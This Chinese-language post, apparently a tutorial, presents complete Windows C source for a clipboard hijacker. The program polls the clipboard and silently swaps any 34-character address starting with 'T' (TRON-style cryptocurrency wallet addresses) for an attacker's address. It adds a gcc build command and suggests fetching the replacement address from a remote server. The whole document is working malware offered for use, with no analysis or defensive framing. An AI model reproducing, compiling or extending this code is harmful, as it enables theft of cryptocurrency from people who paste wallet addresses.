示例
常见的剪贴板劫持虚拟货币钱包地址
一、C源码
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#define TARGET_STRING "6666666666666666666666666666666666"
// 检查字符串是否匹配目标模式
int is_match(const char *str) {
if (strlen(str) != 34 || str[0] != 'T') {
return 0;
}
return 1;
}
// 设置剪贴板内容
void set_clipboard_content(const char *content) {
if (OpenClipboard(NULL)) {
EmptyClipboard();
size_t len = strlen(content) + 1;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
if (hMem) {
memcpy(GlobalLock(hMem), content, len);
GlobalUnlock(hMem);
SetClipboardData(CF_TEXT, hMem);
}
CloseClipboard();
}
}
// 获取剪贴板内容
char *get_clipboard_content() {
if (!OpenClipboard(NULL)) {
return NULL;
}
HANDLE hData = GetClipboardData(CF_TEXT);
if (!hData) {
CloseClipboard();
return NULL;
}
char *clipboard_data = GlobalLock(hData);
char *result = clipboard_data ? _strdup(clipboard_data) : NULL;
GlobalUnlock(hData);
CloseClipboard();
return result;
}
// Windows 应用程序入口点
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
char *clipboard_data = NULL;
while (1) {
Sleep(500); // 轮询间隔 500ms
char *new_data = get_clipboard_content();
if (new_data && (!clipboard_data || strcmp(new_data, clipboard_data) != 0)) {
if (is_match(new_data)) {
set_clipboard_content(TARGET_STRING);
}
free(clipboard_data);
clipboard_data = new_data;
} else {
free(new_data);
}
}
free(clipboard_data);
return 0; // 确保主函数正常结束
}
打包
gcc test.c -o test.exe
扩展
可以将TARGET_STRING扩展为通过云端远程获取指定字符串